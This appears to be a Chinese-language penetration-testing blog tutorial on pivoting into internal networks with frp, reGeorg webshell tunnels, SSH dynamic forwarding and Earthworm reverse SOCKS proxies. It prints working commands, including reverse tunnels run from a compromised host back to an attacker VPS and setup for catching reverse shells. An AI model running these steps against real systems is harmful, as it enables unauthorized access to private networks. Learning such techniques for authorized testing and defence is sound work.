內網穿透之流量代理轉發

Lushun發表於2020-08-11

在進行滲透測試時經常會遇到目標在內網或者不能直接訪問的情況,這時候就需要將我們的流量代理進目標內網,下面介紹幾種流量代理/埠轉發方法。

frp埠轉發

使用frp將本地kail的埠對映到公網的埠上,這樣在對公網機器進行反彈shell的時候,就可以將要反彈的地址改為公網對應的地址和埠,就相當於反彈到本地的kail埠上。這裡說兩種方法1.使用frp, frp 是一個可用於內網穿透的高效能的反向代理應用,支援 tcp, udp 協議,為 http 和 https 應用協議提供了額外的能力,且嘗試性支援了點對點穿透。

  • 下載frp可執行包
wget https://github.com/fatedier/frp/releases/download/v0.32.0/frp_0.32.0_linux_amd64.tar.gz
  • 解壓
tar zxf frp_0.32.0_linux_amd64.tar.gz
  • 進入檔案
cd frp_0.32.0_linux_amd64/


1.客戶端也就是需要被埠對映的客戶端需要配置frpc.ini

server_addr為公網ip,server_port為服務端和客戶端通訊埠。下面的為我們配置的具體服務,我們需要1234埠監聽反彈的webshell,所以設定1234為轉發的埠,如果有流量經過服務端的1234埠,那麼就會轉發到我們內網攻擊機的1234埠
2.配置frp服務端
frp服務端需要配置frps.ini,只用簡單進行配置通訊埠,就是客戶端設定的server_port

利用方法:
在進行反彈shell之前,先在伺服器開啟我們的frp
啟動:./frps -c frps.ini

再啟動客戶端
啟動:./frpc -c frpc.ini

再看服務端響應成功

然後msf設定監聽本地1234埠,run

之後生成反彈碼的時候,將反彈的地址設定為伺服器對應的地址和埠,然後我們本地的msf就會收到反彈的shell

當在受害機器執行了oo.exe後,可以看到,成功反彈

reGeorg+Proxifier

reGeorg 是 reDuh 的升級版,主要是把內網伺服器的埠通過 http/https 隧道轉發到本機,形成一個迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。它利用 webshell 建立一個 socks 代理進行內網穿透,伺服器必須支援 aspx、php 或 jsp 這些 web 程式中的一種。
reGeorgSocksProxy由服務端和客戶端兩部分組成。服務端有php、aspx、asph、jsp、node.js等多個版本,客戶端則由python編寫。其工作原理可簡單描述為python客戶端在本地監聽一個埠,提供socks服務,並將資料通過http/https協議傳送到服務端上,並從服務端上用socket實現轉發。
在內網滲透中,由於防火牆的存在,導致我們無法對內網直接發起連線,因此就需要埠反彈,如果進一步對內網其他主機進行滲透,就需要通過內網的代理,才能對其他主機進行掃描,滲透。但有些情況下目標機器不允許開放其他埠,只有80或8080埠。我們許可權也不允許修改這一限制,那麼我們就可以使用這套組合(reGeorg+Proxifier)代理來將我們後續滲透的流量代理到目標內網主機。

實驗案例

1.上傳tunnel.nosocket.php
外網攻擊機:192.168.114.1
web跳轉機:外網ip:192.168.114.129,內網ip:169.254.100.5(可通過vm設定雙網路卡實現)
內網目標機:內網ip:169.254.100.160
在實戰中需要找到上傳點或者獲取shell之後再將檔案上傳,這裡直接將檔案tunnel.nosocket.php放到網站根目錄下(php這裡分為有socket與無socket的,tunnel.php需要使用dl()函式載入socket模組),然後訪問,出現如下畫面即表示正常

2.本地執行cmd
(1)reGeorg 需要Python2.7,還需要urllib3模組的支援,然後執行

python reGeorgSocksProxy.py -p 8888 -u http://192.168.114.129/tunnel.nosocket.php


(2)再開啟Proxifier代理工具設定代理:Profile-proxy servers:設定:192.168.114.129:80 socks5代理

(3)再開啟代理規則進行配置,設定那些軟體的流量經過代理,那些軟體流量直連,如果要讓瀏覽器可以直接訪問內網的web應用,那麼就配置瀏覽器經過代理,其他不經過代理的軟體就設定direct模式(直連)

注意配置代理規則時將python.exe設定為direct模式,不然會死迴圈。

設定好之後就可以通過代理直接訪問內網服務。

遠端連線桌面

SSH埠轉發

建立ssh隧道的常用命令引數如下:

-C:壓縮
-f:將SSH傳輸轉入後臺執行,不佔當前的Shell
-N:建立靜默連線(建立了連線,但是看不到具體會話)
-g:允許遠端主機連線本地用於轉發的埠
-L:本地埠轉發
-R:遠端埠轉發
-D:動態轉發
-P:指定SSH埠

1.遠端動態埠轉發
有一臺內網機器,內網22埠對映到公網221.xx.xx.xx的44364埠並且只有這個路線能出網,有ssh賬號密碼,要設定socks代理隧道。

ssh -CfNg -D 1111 hack@219.153.49.228 -P 44866

使用這個命令之後就使用ssh建立了一個socks4/5代理 -D命令在本地建立一個監聽埠(隧道)將接收到的流量轉發給自己的52826埠,再通過52826埠將流量傳送給傳送給目標的22埠,這就是ssh動態轉發,所有可以通過socks4/5代理的流量都可以通過加密通道進行代理訪問。

使用ew+SocksCap穿透目標內網

EarthwormEw(Earthworm)是一款當之無愧的內網穿透大殺器,應用的平臺非常廣泛,包括:

ew_for_Win.exe        適用各種Windows系統(X86指令集、X64指令集)      Windows7、Windows XP
ew_for_Linux32        各常見Linux發行版 (X86 指令集 CPU)         Ubuntu(X86)/BT5(X86)
ew_for_linux64        各常見Linux發行版 (X64 指令集 CPU)        Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64        MacOS系統發行版 (X64 指令集)            蘋果PC電腦,蘋果server
ew_for_Arm32           常見Arm-Linux系統                      HTC New One(Arm-Android)/小米路由器(R1D)
ew_mipsel              常見Mips-Linux系統 (Mipsel指令集 CPU)        螢石硬碟錄影機、小米mini路由器(R1CM)

下面簡單介紹一下它的應用場景,更復雜的情況在官網有介紹。

1、正向socks v5伺服器 【適用於目標機擁有一個外網IP】
伺服器端執行以下命令:

ew.exe -s ssocksd -l 888

說明:伺服器開啟埠為888,SOCKS的代理。然後使用sockscap64新增這個IP的代理就可以使用了。
2、反彈socks v5伺服器 【適用於目標機器沒有公網IP,但可訪問內網資源】
本地執行以下命令:

ew.exe -s rcsocks -l 1008 -e 888

說明:該命令的意思是在我們公網VPS上新增一個轉接隧道,把1080埠收到的代理請求轉交給888埠。
伺服器端執行以下命令:

ew.exe -s rssocks -d 2.2.2.2 -e 888

說明:該命令的意思是在伺服器上啟動SOCKS V5服務,並反彈到IP地址為2.2.2.2的伺服器888埠上。

實驗案例

本次環境用的是第二種
測試目標機器沒有公網IP,但可訪問內網資源。

  • ① 在我們公網vps上執行以下命令
./ew -s rcsocks -l 1260 -e 1261

新增轉接隧道,把1260埠收到的代理請求轉給1261埠

  • ② 然後我們通過cs在目標機上上傳ew,在cs中執行:
ew.exe -s rssocks -d 148.xx.xx.xx -e 1261(148.xx.xx.xx為公網vps)

注意:這裡在本地開器SOCKS v5 服務並將請求接受代理的資訊反彈到伺服器的1261埠,伺服器就會把攻擊者的代理資訊傳送給本地(就是內網機器)

這時候公網vps上就會顯示連線成功

  • ③ 接下來就可以用剛剛轉發出來的埠來接受代理請求了。
    方法一:可以瀏覽器設定Socks5代理或者kali通過proxychains代理來訪問目標內網服務
    Chrome瀏覽器設定Socks5代理(其他瀏覽器同理)

    此時已經可以通過瀏覽器訪問內網web站點

proxychains-ng(proxychains的升級版), proxychains無法使用Tor代理

在linux上可以通過proxychains-ng來讓流量通過代理
下載地址:https://sourceforge.net/projects/proxychains-ng/files/
不建議使用命令列下載有點慢,建議瀏覽器下載。之後解壓並在解壓目錄開啟命令列。
執行以下程式碼:

./configure --prefix=/usr --sysconfdir=/etc
make && make install
make install-config

之後配置代理鏈

vi /etc/proxychains.conf
socks5 148.xx.xx.xx 1260


配置完後 測試內網穿透是否成功

成功了,這就是目標機器的127.0.0.1站點內容。
proxychains4配合nmap還可以對目標機器進行進一步內網探測,這裡就不贅述了。

相關文章